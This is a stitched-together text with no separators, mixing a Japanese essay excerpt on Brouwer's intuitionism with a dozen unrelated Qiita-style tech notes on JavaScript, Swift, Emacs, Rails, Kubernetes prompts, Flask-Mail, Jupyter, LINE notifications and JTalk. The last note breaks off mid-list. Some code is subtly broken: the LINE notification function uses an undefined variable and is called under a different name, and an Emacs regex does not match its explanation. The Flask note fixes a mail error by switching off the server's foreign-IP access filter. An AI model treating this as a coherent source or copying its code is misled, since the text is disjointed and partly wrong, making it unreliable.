>ブラウワー（L.E.J.Brouwer）は、１９０７年の博士論文「数学の基礎について」の中で初めて直観主義的な考え方を明らかにした。そこで述べられているのはおおよそ次のようなことである。数学は、数学者が行う心的な構成活動であり、したがって、その活動によって構成される数や関数や集合は、心的構成（mental construction）にほかならない。数学は本来そのような心的構成を扱うべきであるのに、論理学者（デデーキントやラッセルのような論理的傾向をもつ人々）やヒルベルトのような形式主義者たちは、そうした心的構成を記述するための不完全な道具でしかない言語を、まるでそれ自体が数学の対象であるかのように考え、数学のうちに取り込んでしまっている。つまり、彼らの数学は、本来数学が関わるべき心的構成ではなく、誤ってその言語対応物をその対象としてしまっている。そればかりか、彼らは、そのような言語的な対応物にしか成り立たない原理ー論理学の原理ーを、あたかも数学の原理であるかのように使用して、彼らの理論を作り上げている。このようなものは、数学として認められない。このように彼は主張する。もちろん、彼の論文がこのような主張のみから成り立っているわけではないが、中心となる考え方は以上のようにまとめられるであろう。

ブラウワーの直観主義は、この心的構成（mental construction）の概念が中心的役割を果たす。直観主義数学においては、なんと論理主義者と形式主義者の主たる道具である形式言語が重要視されない（数学と言語とは無関係であると主張される）など、言語を重視する数学とは一線を画すものである。

ところで、このブラウワーの心的構成という概念は一体なんなのであろうか？直観主義数学の最初の難関かつ最大の難関はこの”心的構成”と呼ばれるものが、一体なんのことを指しているのか理解することである、と言って過言ではない。
JavaScriptでクリーンアーキテクチャはどうすればいいのか(DomainModel編)

#DomainModelとは

## 業務上の関心そのもの
* DataStoreから得られたEntityを変換することで生成される
* RepositoryがEntity->DomainModel変換メソッドを持つ
    * データの器であるEntityに業務上の「意味」を与える


## なぜデータ構造の変換が「意味」を与えることになるのか?

### ツリー構造そのものが「意味」なのである

* XMLがツリー構造でマークアップされて「意味づけられている」**とする**ことを想起せよ

    * データ構造は、配列、連想配列、ツリー構造、ネットワーク構造しかない(ハズ)(大まかにはね)
    * 連想配列・ツリー構造・ネットワーク構造は、Tableという二次元配列でどちらも表現可能である
        * つまり、世の中、二次元配列があれば大抵のものが表現できる    
        * 配列は二次元配列の特殊な場合と見なせば良い
        * つまりデータの器EntityとしてのTableは、非常に適切な構造と言える
        * なんでもつっこめる器なのであった
       
### 一方で、逆にHTMLがツリー構造なのに、表が表現できていることを見よ
    
* Tableという二次元配列は、ツリー構造に逆変換できる
* 配列はツリー構造の特殊な場合と見なせば良い


つまり、EntityをTableとして、変換したツリー構造のデータが「意味を持った」DomainModelであると言える

---
# 実際、データ変換どうするの?

* JavaScriptは動的な言語なので、byRow()とByColumn()だけでほとんどのことができる
* byRow()

|氏名|個別月|作業時間|
|:---|:---:|------:|
|Aさん|2018/09|160.00|　
|Bさん|2018/09|182.00|　

* これから


```javascript
[
 {
  "Aさん": {
  "個別月": "2018/09", 
  "作業時間": 160.00  
  }
 },{
  "Bさん": {
  "個別月": "2018/09", 
  "作業時間": 182.00  
  }
 }
] //これができれば良い。深くても同様。

```

* byColumn()
* 同じく{"氏名": ["Aさん","Bさん"]}など
* 静的型付言語だと、リフレクション機能がないとほぼ無理筋


---
#まとめ

* データ変換は、SQLこねくり回して最後にbyRow()かbyColumn()でいいよ
* 動的言語でよかった!

# 全記事
*  [JavaScriptでクリーンアーキテクチャはどうすればいいのか(前編)](https://qiita.com/Gatz/items/d6b0250bfab6e1e74d69)
*  [JavaScriptでクリーンアーキテクチャはどうすればいいのか(Usecase編)](https://qiita.com/Gatz/items/6a03b60a2bd903e44202)
*  [JavaScriptでクリーンアーキテクチャはどうすればいいのか(Presenter編)](https://qiita.com/Gatz/items/e70d6e854b3bbfef105e)
* [JavaScriptでクリーンアーキテクチャはどうすればいいのか(initializer編)](https://qiita.com/Gatz/items/c224000a510bf0f74298)
* [JavaScriptでクリーンアーキテクチャはどうすればいいのか(Repository編)](https://qiita.com/Gatz/items/ca0c5b7db7321d99451c)
* [JavaScriptでクリーンアーキテクチャはどうすればいいのか(DataStore編)](https://qiita.com/Gatz/items/d93f6ae895c65b8785e5)
* JavaScriptでクリーンアーキテクチャはどうすればいいのか(DomainModel編)
enumについて



```Car.swift
enum CarType{
    case Cedan
    case Coupe
    case Hatchback
}
class Car{
    var color = "Black"
    var numberOfSeats = 5
    var typeOfCar : CarType = .Coupe
    
    init(customerChosenColor: String){
        color = customerChosenColor
    }
}

\enumでCarTypeを定義
class Carでまず、initされる
var colorは上記ではBlackだが、下記のlet myCarで定義されたプロパティ(customerChosenColor: "Red")が優先される。
\
よって結果は
Red
5
Coupe
Program ended with exit code: 0




```main.swift
let myCar = Car(customerChosenColor: "Red")

print(myCar.color)
print(myCar.numberOfSeats)
print(myCar.typeOfCar)
機械学習論文読みメモ_137

[Self-Supervised Depth Learning for Urban Scene Understanding](https://arxiv.org/abs/1712.04850)
画像上の物体の見かけ上の動きは、そのdepthに反比例する。
例えば視点の動きに対して、遠くの山はあまり移動しないが、
近くの木などは大きく移動する。
こうした情報は、見えている世界に関する立地な情報を与える。
本論では画像群よりself supervisedな学習を行う事で
相対的のdepthを予測するモデルを提案する。
学習データは連続したカメラ画像から自動的に得る事ができる。
学習には従来のdepth from monoの手法を行う事ができる。
このようにして学習されるdepth from monoのモデルは、関連した
Semantic segmentation, detection, 絶対depth estimationなどの学習において良い初期値を与える。
従来の動作物に依存するような手法と違い、提案手法は動作物に依存せず、
また邪魔されたりもしない。

[Wasserstein Auto-Encoders](https://arxiv.org/abs/1711.01558)
データ分布に対する生成モデルとしてWasserstein Auto-Encoder (WAE)を提案する。
WAEは目標分布とモデル分布の間のWasserstein distanceを罰則項とともに最適化する。
これにより従来手法であるVariational Auto Encoderとは違った正則化が行われる事となる。
つまり、encodeされた学習データ分布がprior分布と一致するように学習されるようになる。
この提案手法を他手法と比較したところ、これはAdversarial Auto Encoderの一般化に値する
事がわかった。

[Data Distillation: Towards Omni-Supervised Learning](https://arxiv.org/abs/1712.04440)
全てのラベル付きデータに加えて、インターネットスケールの
ラベルなしデータも活用できる半教師あり学習手法として
Omni-supervised learningを提案する。
この学習は単純な教師あり学習よりも高性能なモデルの獲得が期待できる。
このomni-supervised設定を活用するために、data distillationを提案する。
Data distillationでは単一のモデルを利用してラベルなしデータに対する
複数のtransformationをかけたものに対する予測結果をアンサンブルしたものを
教師情報として利用する。
こうした複数のtransformationをかけて予測性能を上げる手法は例えば、
マルチスケールを組み合わせた物体検知などの文脈で一般的である。
機械学習論文読みメモ_136

[PacGAN: The power of two samples in generative adversarial networks](https://arxiv.org/abs/1712.04086)
GANのフレームワークは複雑な分布からの現実的なサンプル生成を可能にする。
しかし問題点として、実際は多様なデータに対して学習したにも関わらず、多様性の低いサンプル生成しか
できないという問題がある。
これはmode collaspeとして知られている。
GANにおいてこのmode collaspeが起きる原因と防ぐ方法はまだ良く知られていない。
本論ではこのmode collaspeを防ぐための手法として新たにpackingと呼ばれる手法を提案する。
この手法では判別器は生成された単一のサンプルではなく、バッチに対して判別を行う。
仮説検定の文脈における理論を用いる事で、このpacking手法の利用でmode collapseを
penalizeする事を示す。

[Beyond Finite Layer Neural Networks: Bridging Deep Architectures and Numerical Differential Equations](https://arxiv.org/abs/1710.10121)
Deepnetに関する一般的な設計ガイドラインはまだ見つかっていない。
本論ではdeepnetのデザインを微分方程式の文脈から解釈することで、
ResNetを含む主要なネットワーク構造が異なった常微分方程式の離散化として捉えられることも示す。
またこの関連性を応用することで、より効率的なネットワーク構造を提案する。
特に、常微分方程式の解法に用いられるlinear multistep methodの考え方を応用する事で
新たな構造を提案する。
Linear multistep methodはResNet構造と相性が良く、ResNetに基づいたネットワークに適用可能である。
結果、提案ネットワークはより高性能かつ少ないパラメータ数を実現する事ができた。

[MaskLab: Instance Segmentation by Refining Object Detection with Semantic](https://arxiv.org/abs/1712.04837)
本論ではobject detectionとsemantic segmentationを同時に解く技術であるinstance segmentationを扱う。
本論ではこの問題に対して、box detection, semantic segmentation, そしてdirection predictionを行う事が可能なMaskLabと呼ばれるモデルを提案する。
従来手法であるFaster-RCNNによるobject detectorを利用する事で高精度なbox予測を手に入れる。
このboxによるroiに対してMsakLabはforeground/background segmentationを、semantic segmentationとdirection predictionを組み合わせる事で実現する。
semanticはbackgroundを含めた複数の物体を分離するのに使われ、direction predictionは各インスタンスの中心へ向けた方向を予測させる事で、同じクラス内で異なったインスタンスへの分離を行えるようにする。
Emacs:タブを使わない究極のバッファー移動


Emacsのバッファー移動は、tabbar /  ELscreen    などのタブ系を使っていましたが、diredなどの隠れていてほしいバッファーまで開いてしまうのが嫌でした。 

そんなときに、るびきちさんのこの記事を読んで````iflipb.el````を試してみました。

- [詳説！Alt+Tab感覚で賢くバッファをワンタッチで切り替える](http://emacs.rubikitch.com/iflipb/) 

標準機能の switch-to-buffer に比べてユニークな動作をすることは上記の記事で理解できたのですが、[GitHubのReadme](https://github.com/jrosdahl/iflipb) を読むと以下のような機能も設定できることがわかりました。

- 非表示のバッファーを設定できる：iflipb-ignore-buffers
- 戻り機能（最後になったら先頭へ戻る）を設定できる：iflipb-wrap-around

## iflipbの設定

````lisp
;; iflipb
(setq iflipb-ignore-buffers (list "^[*]" "^magit" "]$"))
(setq iflipb-wrap-around t)
(bind-key "C-<right>" 'iflipb-next-buffer)
(bind-key "C-<left>" 'iflipb-previous-buffer)
````
ignore-buffersの設定は、正規表現が使えます。上記の設定では以下のバッファーを設定しています。

- ````*scratch*````などのアスタリスクのついたもの： "^[*]"
- magit-statusを実行するたびに作られるもの： "^magit"
- diredバッファー： "[dir]$"

私の場合、diredのバッファー名には、hogehoge[dir] というふうに [dir] を付加してファイル名と勘違いしないように工夫していますので、最後方の文字列にマッチさせる正規表現 "[dir]$" で機能します。

## ミニバッファーがタブ代わりになる

実際に使ってみてわかったのですが、バッファー移動操作をするとミニバッファーに以下のように開いているバッファー名が表示されます。（カレントバッファーは、[ ]で囲われて表示されます。）

![Alt Text](https://goo.gl/YUyurv) 

tabbar感覚で使えるのでなかなか面白いです。

## scratchバッファーだけは直ぐに開きたい

作業中に付箋感覚で使ったり、ちょこっとした式を評価したりとよく使うので````*scratch*````だけはどんなタイミングでも直ぐ開きたいですね。そのためにELscreenをタブ無しで使うことにしました。

ヒントになったのは下記の記事です。

- [超シンプル目立たない複数ウィンドウ管理(ぞ式ElScreen)](https://goo.gl/aALmTA) 

## elscreenの設定

````lisp
;; elscreen
(setq elscreen-display-tab nil)  ;; Turn off tabs
(setq elscreen-tab-display-kill-screen nil)
(setq elscreen-tab-display-control nil)
(elscreen-start)
(elscreen-create) ;; start with 2 tabs

(bind-key "C-<tab>" 'elscreen-next)
````
ただし上記設定だけでは````*scratch*````を二面開く…という感じになって味気ないので、Emacs起動時のカレントバッファーには、以前、別記事で紹介した dashboard を表示させるようにしました。

- [Emacsのスタート画面をイケメンにする](https://goo.gl/jUpX1t) 

![Alt Text](https://goo.gl/4bahMU) 


こうすることでelscreenの裏面に````*scratch*````バッファーが開かれ、表面に````*dashboard*````が表示されます。そして、````C-<tab>````することで表裏の切り替えができるのです。

実際の作業は表面を使い、iflipbを使って複数のバッファーを行き来し、必要なときは````C-<tab>````でいつでも````*scratch*````が呼び出せるという仕組みです。
部分テンプレートを使って、ajax処理を記述する

例えば、「求人」作成の際に「事業所」検索して関連付ける。とか、やりたいときにcoffeescriptをガリガリ書かなくても実現出来たのでやり方をメモ。


# 登場人物

* form_tag
* business_controller.rb (app/controllers/business_controller.rb)
* search.js.erb (search.js.erb) (app/views/business/search.js.erb)
* _search_res.html.haml (app/views/business/_search_res.html.haml)

## <b>form_tag</b>(url_for_options = {}, options = {}, &block)

ajax呼出を行うために、`remote:true`  の記載が重要
このdivセクションにajaxで取得した結果を突っ込みます

```
<%= form_tag({controller:'business',action:'search'}, remote:true) do %>
<%= text_field_tag 'search-field' %>
<%= submit_tag "検索" %>
<div id='search_list'></div>
```

ちなみに、

```
<%= form_tag {controller:'business',action:'search'}, remote:true do %>
```

だと、エラーになります。

```
<%= form_tag url_for(controller:'business',action:'search'), remote:true do %>
```

と書くか

```
<%= form_tag url_for_options={controller: 'business', action: 'search'}, remote:true do %>
```

と書けばOK

## business_controller.rb

普通にsearchロジックを書きます。
下だけでも、ajaxの結果として、次のsearch.js.erbが実行されます

```
def search
		@businesses = Business.all
		@msg = 'Search done!'
end
```


## search.js.erb

hamlで記載するよりも、erbで書くのがここではわかりやすいかなと。

```
$('#search_list').html('<%= j render 'search_res' %>')
```
としておくと、remote:trueのsubmitにより、jsが呼び出されて、このrenderが展開されることで、`<div id="search_list"></div>` の中身に部分テンプレート _search_res.html.erb が展開できます。

## _search_res.html.haml

最初のform_tagにこれが埋め込まれる感じ。
当然のごとく、`@business`, `@msg` 変数は business_controller.rb のsearch メソッドで代入されたインスタンス変数です。

```
.row
	.col-12
		= "#{@businesses.size}件 :"
		= @msg
- # 以下省略・・
```
朝ドラ『半分、青い』にみる開発プロセス

2018年度上期放送のNHK朝の連続テレビ小説『半分、青い』

物語も終盤を迎え、漫画家を目指して上京したヒロインがさまざまな経験を経て、「おひとりさまメーカー」として新型扇風機の開発に至るエピソードが描かれています。

実在する新興家電メーカー『バルミューダ』のGreenFan開発の実話を原案にしているためドラマのストーリーにも説得力があります。:thumbsup:

> https://www.balmuda.com/jp/about/hanbunaoi

実際の製品開発では目的やビジョンがぶれてしまったり、要求と設計が混在してしまい、無駄な手戻りや混乱が生じることがままあります。:sob:

『半分、青い』では「目的・ビジョン」から「設計」までの開発プロセスが綺麗にまとまっていたので私なりに書き出してみました。

 

# 1. 目的・ビジョン

* 製品を使った人に喜んで欲しい。
* 入院する母親に病室の中でも優しいそよ風を感じて欲しい。

ここは簡単にぶれてはダメな部分ですね。ここがぶれても一度くらいは紛れ当たりするかもしれませんが継続は難しいでしょうね。

# 2. 要求

* 自然に近い風を送ることができる

目的やビジョンだけでは漠然としていて製品やサービスにはなりません。目的やビジョンから一歩踏み込んだ具体的な要求が必要となります。但し、このプロセスでは製品やサービスを届けるユーザーに理解できる言葉である必要があります。

# 3. 要件

* 風が渦を巻いていない

要求から一歩踏み込んで検証可能な形式でまとめる必要があります。ドラマの中では扇風機の風を煙で可視化したり、屋上で自然の風を測定したりしていましたね。

# 4. 基本設計

* 基本設計案１　回転羽で発生させた風を壁（タライ）にぶつけて渦を壊す
* 基本設計案２　回転羽の外周と内周で発生させる風の速度を変えて渦を壊す

要件に対して設計（実現方法）は複数考えられます。ドラマの中でも基本設計案１で試作したものの期待通りの結果とならなかったため基本設計案２に進化しています。

# 5. 詳細設計

* 詳細設計案２−１　回転羽の外周と内周の大きさや角度を工夫する
* 詳細設計案２−２　ブラシレスDCモータを使い低速で羽を回転させる

エンジニアとして一番楽しいプロセスはここ？
一方で「ブラシレスDCモータをつかう！」ということを、「手段（設計）」ではなく、「目的」や「要件」と取り違えてしまう過ちを犯しがちです。ブラシレスDCモータを使ってみたものの、さてどうやって制御しよう？？？ 試行錯誤で制御してみたものの、その制御方法が正しいのか間違っているのか判断できないまま迷走… 「渦を壊す」、「自然に近い風」という上流プロセスに常に立ち戻れるように整理しておく必要があります。

以上、秋風ロスのソフトウェアエンジニアでした。:sweat:
Webサイトのワンクリックでの表示・非表示【JS・JQuery】

スマホサイトではPCに比べ表示スペースが少ないため普段は表示していないが、必要な時だけ表示する機能をよく見かける。（特にメニューバー）
PCでも同一の場所で画面を切り替える場合などで見かける。
かなりありきたりな機能ですが、自分なりの解釈で書いてみました。
よかったら読んでみてください！
また、より良い記述などありましたらコメントお願いします。^^
##はじめに
今回、用意しておくものとして、表示・非表示したいものの *css* の *display* で  *block* と  *none* を切り替えた時の見た目を整えておくといいと思います。
**今回は *display* の  *block* と  *none* のみで表示・非表示を操作する。**
*display* の部分は ***inline-block*** でも可能
##JS
```JavaScript.js
document.getElementById('ワンクリックする部分のId名').onclick = function() {
  var menu = document.getElementById('表示・非表示させたい部分のId名');
  var GetDisplay = window.getComputedStyle(menu, null).getPropertyValue('display');
  if (GetDisplay == 'none') {
    menu.style.display = 'block';
  } else {
    menu.style.display = 'none';
  }
};
```
###ざっくり解説
- １行目
    - 挙動の起点となるワンクリックする部分をワンクリックされたら、後に書く記述の処理をする。という記述。
- 2行目
    -  ワンクリックを受け、表示もしくは非表示させたい部分を取得する。
    -  取得したものを　*menu*(※好きな変数名で代用可能)　に代入する。
- ３行目
    - ２行目で取得した部分の *display* の状況を取得する。(冒頭に書いたように、今回は*display*のみを使って表示・非表示を行う。)
    - 取得したことにより、表示もしくは非表示したい部分が、現在、表示されているのか ( *block* ) 、されていないのか ( *none* ) 、を確認することができる。
- 4行目
    - 3行目で取得したものを *if* 文で処理にかける。
    - この時 *display* が *block* や *inline-block* だと、どちらかで表示されるの２択になってしまうので、 *none* の方がおすすめ。 *none* だと表示されていないの１択になる。
-  5行目 
    -  表示させたい部分が表示されていない場合（*display* が *none*）に *css* の *display* を *block* に書き換え表示する。
-  7行目
    -  すでに表示されている場合、５行目と逆の動きで非表示にする。

##JQuery
```JQuery.Js
$(function(){
  $('#ワンクリックする部分のId名').on('click', function(){
    var menu = $('#表示・非表示させたい部分のId名').css('display');
    if (menu == 'none') {
      $('#表示・非表示させたい部分のId名').css('display','block');
    } else {
      $('#表示・非表示させたい部分のId名').css('display','none');
    }
  });
});
```
###ざっくり解説
- １行目
    - *JQuery* 使います宣言みたいな記述。
- 2行目
    - 挙動の起点となるワンクリックする部分をワンクリックしたら、後に書く記述の処理をします。という内容。
- 3行目
    - ワンクリックを受け、表示もしくは非表示させたい部分の *display* を取得する。
    - 取得したことにより、表示もしくは非表示したい部分が、現在、表示されているのか ( *block* ) 、されていないのか ( *none* ) 、を確認することができるようになる。
    -  取得したものを *menu* ( ※好きな変数名で代用可能 )　に代入する。
-  4行目
    - 3行目で取得したものを *if* 文で処理にかける。
    - この時 *display* が *block* や *inline-block* だと、どちらかで表示されるの２択になってしまうので、 *none* の方がおすすめ。 *none* だと表示されていないの１択になる。
-  5行目 
    -  表示させたい部分が表示されていない場合（*display* が *none*）に *css* の *display* を *block* に書き換え表示する。
-  7行目
    -  すでに表示されている場合、５行目と逆の動きで非表示にする。

##最後に
*if* の中身をアニメーションにしたりするとただ表示されるだけでなく、スライドして出てきたり見た目を楽しくできるようになると思います。
kubectl の current-context/namespace を zsh のプロンプトに出力する

zsh に git のブランチ名を出力しているのですが、`kubectl` の current-context や namespace も出力できると良いなと思ってやって見ました。

初めは `kubectl` コマンドを使ってやっていたのですが、やや遅くてコマンドを実行するたびにストレスを感じるようになったので、Go で `~/.kube/config` を読み込んで出力するだけのコマンド [kube_prompt_info](https://github.com/yuya-takeyama/kube_prompt_info) を作ってやって見ました。

ちなみにこの名前は [oh-my-zsh](https://github.com/robbyrussell/oh-my-zsh) 付属の [git_prompt_info](https://github.com/robbyrussell/oh-my-zsh/blob/master/lib/git.zsh) が元になっており、[kube-prompt](https://github.com/c-bata/kube-prompt) とは関係ありません。

最終的にこんな感じになります。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/208/33495531-0042-a8dd-3510-f9f213459005.png)


## kube_prompt_info のインストール

Go をインストールした状態で以下を実行します。

```
$ go get github.com/yuya-takeyama/kube_prompt_info
```

## kube_prompt_info のセットアップ

zsh には `$PROMPT` という変数を書き換えることでプロンプトを書き換えられます。

`~/.zshrc` に以下のような行を書き加えます。

```zsh
PROMPT='%m:%c $(kube_prompt_info) %(!.#.$) '

export KUBE_PROMPT_INFO_PREFIX="%{$fg[yellow]%}("
export KUBE_PROMPT_INFO_SUFFIX=")%{$reset_color%}"
```

この状態で `source ~/.zshrc` するなどすれば完了。

私は実際には oh-my-zsh 付属の `daveverwer` という theme をコピーして中身をいじって、以下のような感じのプロンプトになっています。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/208/6eb1666a-7c93-f0d4-0033-40313e224415.png)
Ruby on Railsでテストアプリをheroku（本番環境）にデプロイ後、something went wrong.が起きた時のエラーヒント探し

Ruby on Rails チュートリアルをやってる時に、章が終わるたびにheroku環境にデプロイします。
で、その中で動作確認をしている時、こんな表示が出るケースがあります。

![スクリーンショット 2018-09-24 4.12.44.png](https://qiita-image-store.s3.amazonaws.com/0/287983/b359b955-a5b8-b50f-5d8c-98f84561abca.png)

訳すると　「悪いけど、なんかおかしいわ」
とのこと。でも、
![スクリーンショット 2018-09-15 1.10.13.png](https://qiita-image-store.s3.amazonaws.com/0/287983/3bb84572-8bed-d0e8-1d09-16b3b5ad0d39.png)

こういう↑エラー画面と違って、エラーメッセージの詳細が書いてない。
あたりをつけることもできない。こういう時は調べて見るとサーバー上のログを見る方法がある様子。

単純で、Railsをherokuにデプロイしたターミナル上で、

heroku logs

とうちこむ。
と、ズラーーーーッとログが出てきます。
その中からどこにgetしたとかpostしたとか、どういう処理が行われたとかの動作が出ている様子。
![rail-tutorial_-_AWS_Cloud9.png](https://qiita-image-store.s3.amazonaws.com/0/287983/d66ff750-cf0b-9d51-3602-caed2a1daefc.png)

エラー内容がつかめなくても、ログがあればteratailとかで聞くのにもある程度原因を絞れると思います。


※ちなみに今回は、ユーザー登録時のメール送信時の処理をするにあたって、アプリのURLが異なっていたっぽい。
Flask-Mailを使用してさくらのメールサーバーからメールを送る

#はじめに
Pythonの軽量WEBフレームワークであるFlaskの拡張機能Flask-Mailを使用して、メールを送信してみました。メールサーバーにはさくらのレンタルサーバーのものを使用しました。

#設定
config.pyを以下のように作成。

```
MAIL_SERVER = '[メールアドレスの@以降]'
MAIL_PORT = 587
MAIL_USE_TLS = True
MAIL_USE_SSL = False
MAIL_USERNAME = '[メールアドレス]'
MAIL_PASSWORD = '[パスワード]'
MAIL_DEFAULT_SENDER = '[メールアドレス]'
```
#使用方法
```
from flask import Flask
from flask_mail import Mail, Message
import config

app = Flask(__name__)
app.config.from_object('config')
mail = Mail(app)

@app.route("/")
def index():
    msg = Message(recipients=[送信先メールアドレス],
                  body=[内容],
                  subject=[タイトル])
    mail.send(msg) 
```

#メモ
以下のようなエラーが出力された。

```
  File "/usr/local/lib/python3.7/site-packages/flask_restful/__init__.py", line 480, in wrapper
    resp = resource(*args, **kwargs)
  File "/usr/local/lib/python3.7/site-packages/flask/views.py", line 88, in view
    return self.dispatch_request(*args, **kwargs)
  File "/usr/local/lib/python3.7/site-packages/flask_restful/__init__.py", line 595, in dispatch_request
    resp = meth(*args, **kwargs)
  File "./api.py", line 74, in post
    mail.send(msg)
  File "/usr/local/lib/python3.7/site-packages/flask_mail.py", line 492, in send
    message.send(connection)
  File "/usr/local/lib/python3.7/site-packages/flask_mail.py", line 427, in send
    connection.send(self)
  File "/usr/local/lib/python3.7/site-packages/flask_mail.py", line 192, in send
    message.rcpt_options)
  File "/usr/local/lib/python3.7/smtplib.py", line 867, in sendmail
    raise SMTPSenderRefused(code, resp, from_addr)
smtplib.SMTPSenderRefused: (550, b'5.7.1 <[メールアドレス]>... Command rejected', '[メールアドレス]')
```

不正なアクセスに対するセキュリティを強化するために、日本国外IPアドレスからのアクセスを制限しているらしい。さくらインターネットサーバコントロールパネルのメニューから「国外IPアドレスフィルタ」を選択、「国外IPアドレスからのアクセス制限」を無効にすることで解決。
pyenv を使って mac で jupyter を動かす方法

# はじめに
AIについて、全く知識がないのですが、最近 jupyter を触る機会があったので、起動させるまでの簡単な方法を記載します。
きっとこれはAIエンジニアへの偉大なる第一歩ですね。

# 前提
前提として、__pyenv__ の環境 が整っていることが前提となります。

# 使うもの
## [anaconda](https://www.anaconda.com/)
データサイエンス向けに作成された 様々な科学計算ライブラリがまとまられたPythonパッケージ。
anaconda を使えば一通り必要な module は入っているので よくわからない科学計算ライブラリをいちいちinstall しなくてよくなるらしい。

## [jupyter](http://jupyter.org/)
ブラウザで対話形式にpythonを実行することがでてきるツール。
対話式で書いた内容がメモ感覚で残せたり、グラフなども表示できて便利。

# pyenv で anaconda を用意
では pyenv で　anaconda をインストールします。

#### インストール可能なpythonのバージョン
まずは インストール可能なpythonのバージョンを確認してみます。
すると下記のように anaconda が対象にいることがわかります。

```
$ pyenv install --list
　　　　~~snip~~
　　　　anaconda3-5.0.0
  anaconda3-5.0.1
  anaconda3-5.1.0
  anaconda3-5.2.0
  ironpython-dev
```

#### anaconda をインストール

では、一番新しい `anaconda3-5.2.0` をインストールします。

```
pyenv install anaconda3-5.2.0
```

#### local バージョン指定
今回は `~/notebook/`ディレクトリのみ anaconda を有効にするため local でバージョンの設定を行います。

```
~/notebook $ pyenv local anaconda3-5.2.0

(anaconda3-5.2.0) ~/notebook $ python -V
Python 3.6.5 :: Anaconda, Inc.
```

これで準備完了です。


# jupyter 起動

jupyter の config などは何もいじっていない状態です。

```
(anaconda3-5.2.0) ~/notebook $ tree ~/.jupyter/
/Users/xxxxx/.jupyter/
                └── migrated
```


では jupyter を起動してみます。

```
(anaconda3-5.2.0) ~/notebook $ jupyter-notebook
```
起動すると自動で下記のようなブラウザが起動します。
今は notebook ディレクトリ以下にはなにもないので、`New`からあたらしく notebook を作成してます。
<img width="790" alt="スクリーンショット_2018-09-24_3_22_06.png" src="https://qiita-image-store.s3.amazonaws.com/0/93763/76fc8374-ef84-6d7d-58b9-7ab21fda5933.png">

# notebook の編集と保存
編集画面は下記のように対話形式でPythonを入力していく形になります。
この様に対話形式でグラフなどを表示したりができます。
また、この対話の流れが一式 notebook として保存されます。
URLのところを見てもらうとわかりますが、notebookは `ipynb`という拡張子のファイルになります。
では、保存ボタンでこの`helloworld.ipynb`を保存します。
<img width="791" alt="edit_save.png" src="https://qiita-image-store.s3.amazonaws.com/0/93763/7417412d-eb19-afa5-a757-14d2c2f6a54c.png">

# notebook の読み込み
では実際に先ほど作ってみた helloworld.ipynb を読み込んで見ます。
notebook ディレクトリ直下で `jupyter-notebook`を起動するか、File > open を選択すると初めのファイル選択ページに移動します。
すると、先ほどの`helloworld.ipynb`が選択できるようになっています。<img width="795" alt="スクリーンショット 2018-09-24 3.33.30.png" src="https://qiita-image-store.s3.amazonaws.com/0/93763/cda50456-80cb-a876-2b01-41f3bcfed5c2.png">
これを選択すると、再び先ほどの編集画面が現れます。
先ほど、２行目にあったカーソルが1行目にきています。
`Run`を実行すると1行目からスクリプトを順に実行できるわけですね。
<img width="791" alt="スクリーンショット 2018-09-24 3.42.47.png" src="https://qiita-image-store.s3.amazonaws.com/0/93763/a48e8be4-8f89-ecab-d971-031e18dba99a.png">

#おわり
ちなみに、実は初期は pip で　jupyter をインストールして、AIエンジニアが作成した notebook を実行しようとしてたのですが、いろんなインポートエラーがおきてしまい、「しんどいなー」と思って調べたところ anaconda に行き着きました。
というわけで今回は mac で anaconda をつかって jupyter を起動させるまでの方法でした。
機械学習とかの途中経過をLINEで通知したら便利かも知れない話

# 概要
- 何らかの理由で計算機から離れざるを得ないときに、学習の経過をグラフィカルに通知してくれるツールをこしらえた
- 動作例：

<img width="200" alt="IMG_2361.JPG" src="https://qiita-image-store.s3.amazonaws.com/0/182818/763c8245-e91f-f786-a182-757902a69b0b.jpeg">

# 環境
- マシン：Ubuntu 18.04 LTS
- Python: Python 3.6.x

# 通知用のモジュール

### コード
```python:
import subprocess as sp

def send_image(path_to_img, message = "notification"):
    line_notify_token = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    line_notify_api = 'https://notify-api.line.me/api/notify'
    sp.getoutput(
        "curl -X POST {} -H 'Authorization: Bearer {}' -F 'message={}' -F 'imageFile=@{}'".format(line_notify_api, line_notify_token, m, path_to_img))
```
### 使用法
> **send_image**(*path_to_img*, *message*)

LINE Notify APIを利用して、引数で指定されたパスの画像と任意の文字列を送信する


- `path_to_img`*(string)*：画像へのパス。無意味なパスを指定したり送信に失敗すると、次の引数である`message`のみが通知される。

- `message`*(string)*：画像とともに送信するメッセージ


### Note
`line_notify_token`はLINE Notify APIのアクセストークンで、自分自身のものを取得する必要があります。アクセストークンの取得方法は[こちら](https://qiita.com/iitenkida7/items/576a8226ba6584864d95)などを参照してください。

# 使用例(擬似的なコード)

```python:
import matplotlib.pyplot as plt

def make_prog_image(loss_progress, acc_progress, path_to_img = "./notify_img.png"):
    """
    lossとaccuracyの推移を二段組のグラフに描画し、指定されたパスに保存する
    """
    fig, (axU, axD) = plt.subplots(2, 1)

    axU.plot(loss_progress)
    axU.grid(True)
    axU.set_title('Loss Progress')

    axD.plot(acc_progress)
    axD.grid(True)
    axD.set_title('Acc. Progress')

    fig.savefig(path_to_img)

for epoch in range(epochs)
    ~ 何らかの処理 ~
    loss_progress = []
    acc_progress = []

    for iter in range(iters):
        ~ 何らかの処理 ~
        loss = classification_loss(train_data, target)
        acc = get_accuracy()

        loss_progress.append(loss)
        acc_progress.append(acc)

    path_to_img = "path/to/img"
    
    make_prog_image(loss_progress, acc_progress, path_to_img)
    send_img(path_to_img, message = "loss progress")
```

## 結果
<img width="375" alt="IMG_2362.JPG" src="https://qiita-image-store.s3.amazonaws.com/0/182818/a4777ccb-341a-6511-eeb1-aa583951cb1c.jpeg">

Seems fine :v_tone2:
JTalkの音声変換と音声出力をシェルで一気にやる(ラズパイ用)

#■はじめに
ラズパイにてJTalkを利用する際に、長いコマンドをいちいち書きたくないため、シェルを作成しました。
＃３年ぶりにシェルを触ったので、細かい部分はご愛嬌。

・引数に日本語を指定して音声出力するシェル
・引数にファイルを指定して音声出力するシェル

#■JTalkの使い方
JTalkは、「日本語文字列を日本語音声に変換」するものです。
よって、音声出力する（音を鳴らす）部分は持ち合わせていません。
今回は、以下にて音声出力まで行います。

|順番|役割|内容|実体|
|:--|:--|:--|:--|
|1|セリフ作成|日本語のセリフを作成|手作り|
|2|日本語音声変換|セリフを音声ファイルとして作成|JTalk|
|3|音声出力|音声ファイルを音として出力|aplay|
#■前提
JTalk音響モデル
`/usr/share/hts-voice/nitech-jp-atr503-m001/nitech_jp_atr503_m001.htsvoice`
JTalk辞書モデル
